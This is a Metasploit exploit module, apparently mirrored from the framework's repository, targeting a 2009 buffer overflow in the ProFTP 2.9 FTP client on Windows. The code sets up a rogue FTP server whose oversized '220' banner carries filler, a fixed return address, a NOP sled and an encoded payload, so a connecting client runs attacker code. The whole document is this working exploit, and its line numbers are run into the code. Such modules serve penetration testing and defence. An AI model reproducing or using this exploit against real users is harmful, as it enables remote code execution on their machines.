Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/proftp_banner.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in the ProFTP 2.915client that is triggered through an excessively long welcome message.16},17'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2009-3976' ],22[ 'OSVDB', '57394' ],23[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'seh',28},29'Payload' =>30{31'Space' => 1000,32'BadChars' => "\x00\x0a\x0d\x20",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' =>37[38# Tested against - XP SP3 English OK.39[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)40],41'Privileged' => false,42'DefaultTarget' => 0,43'DisclosureDate' => '2009-08-25'))4445register_options(46[47OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),48])49end5051def on_client_connect(client)52return if ((p = regenerate_payload(client)) == nil)5354buffer = "220 "55buffer << rand_text_numeric(2064)56buffer << [target.ret].pack('V')57buffer << make_nops(20)58buffer << payload.encoded59buffer << "\r\n"60client.put(buffer)61end62end636465